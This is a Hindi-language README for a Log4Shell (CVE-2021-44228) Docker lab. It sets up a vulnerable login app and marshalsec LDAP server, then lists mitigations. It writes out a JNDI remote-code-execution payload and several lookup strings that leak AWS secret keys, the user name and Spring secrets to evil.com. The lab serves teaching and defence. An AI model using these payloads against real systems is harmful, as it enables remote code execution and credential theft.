axelcurmi/log4shell-docker-labLog4Shell (CVE-2021-44228) डॉकर लैब
इस डॉकर लैब में तीन घटकों का उपयोग किया गया है:
docker network create log4shell
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec
महत्वपूर्ण नोट: यदि आप Windows PowerShell का उपयोग कर रहे हैं, तो $(pwd) को ${pwd} से बदलें।
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"
कमजोर एप्लिकेशन खोलें, कुछ गलत परीक्षण क्रेडेंशियल इनपुट करें, और log4shell-vulnapp कंटेनर के लॉग खोलें। यह देखा जा सकता है कि एप्लिकेशन असफल लॉगिन प्रयासों को लॉग कर रहा है (जैसे, 'test' उपयोगकर्ता नाम के लिए गलत लॉगिन प्रयास)। इस छोटे से प्रयोग से यह स्थापित होता है कि हमारे पास लॉग किए गए स्ट्रिंग के कुछ हिस्से पर नियंत्रण है (यानी, उपयोगकर्ता नाम)।
हम दूरस्थ रूप से कोड निष्पादित करने के लिए निम्नलिखित जैसा पेलोड पास कर सकते हैं:
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}
दूरस्थ कोड निष्पादन किसी भी जावा संस्करण में किया जा सकता है; हालाँकि, निम्नलिखित सूची से पुराने जावा संस्करणों वाली मशीनें [1]:
यह इस तथ्य के कारण है कि बाद के संस्करणों ने JVM सिस्टम प्रॉपर्टी com.sun.jndi.ldap.object.trustURLCodebase को डिफ़ॉल्ट रूप से false पर सेट कर दिया है, जो मनमाने URL कोड बेस से JNDI क्लास लोडिंग को अक्षम करता है। हालाँकि, इस कमजोरी के खिलाफ सुरक्षा के रूप में केवल एक नए जावा संस्करण पर निर्भर रहना जोखिम भरा है, क्योंकि कमजोरी अभी भी उन मशीनों पर शोषित की जा सकती है जिनमें कमजोर एप्लिकेशन के क्लासपाथ में कुछ "गैजेट" क्लास हैं, और DNS क्वेरी का उपयोग पर्यावरण चर जैसी संवेदनशील जानकारी प्राप्त करने के लिए किया जा सकता है।
कई लुकअप प्रतिस्थापन हैं जो पीड़ित मशीन से संवेदनशील जानकारी प्रकट करते हैं। सबसे प्रमुख रूप से, [2, 3] के समान पेलोड का उपयोग करके:
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}
नोट: स्प्रिंग लुकअप अटैक स्ट्रिंग के लिए एप्लिकेशन में log4j-spring-cloud-config-client शामिल होना चाहिए। [2]
इस गंभीर कमजोरी को कम करने का सबसे अच्छा तरीका log4j2 को >= 2.17.0 संस्करण में अपग्रेड करना है। हालाँकि, बिना अपग्रेड किए दो अलग-अलग तरीकों का उपयोग करके इस समस्या को पूरी तरह से कम करना संभव है। उन विक्रेताओं को जो नए Log4j2 संस्करण में अपग्रेड नहीं कर सकते, दोनों शमन विधियों का उपयोग करने की दृढ़ता से अनुशंसा की जाती है जो नीचे निर्दिष्ट हैं [1]।
लुकअप को अक्षम करना (वैश्विक रूप से) पर्यावरण चर LOG4J_FORMAT_MSG_NO_LOOKUPS को true पर सेट करके किया जा सकता है, /etc/environment फ़ाइल को संपादित करके और जोड़ें: LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]
वैकल्पिक रूप से, कमजोर Java एप्लिकेशन चलाते समय निम्नलिखित कमांड-लाइन फ़्लैग जोड़कर JVM के एक विशिष्ट आह्वान के लिए लुकअप को अक्षम किया जा सकता है: ‐Dlog4j2.formatMsgNoLookups=True [1]
जब log4j संस्करण 2.10.0 से पुराना उपयोग कर रहे हों, तो किसी भी Java एप्लिकेशन से JndiLookup क्लास को निकालना संभव है।
[1] Menashe, S., (2021). All About Log4Shell 0-Day Vulnerability - CVE-2021-44228. [online] JFrog. Available at: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [Accessed 24 December 2021].
[2] Goers, R., (2021). Log4j – Log4j 2 Lookups. [online] logging.apache.org. Available at: https://logging.apache.org/log4j/2.x/manual/lookups.html [Accessed 24 December 2021].
[3] Oracle. (2021). System Properties. [online] Available at: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [Accessed 24 December 2021].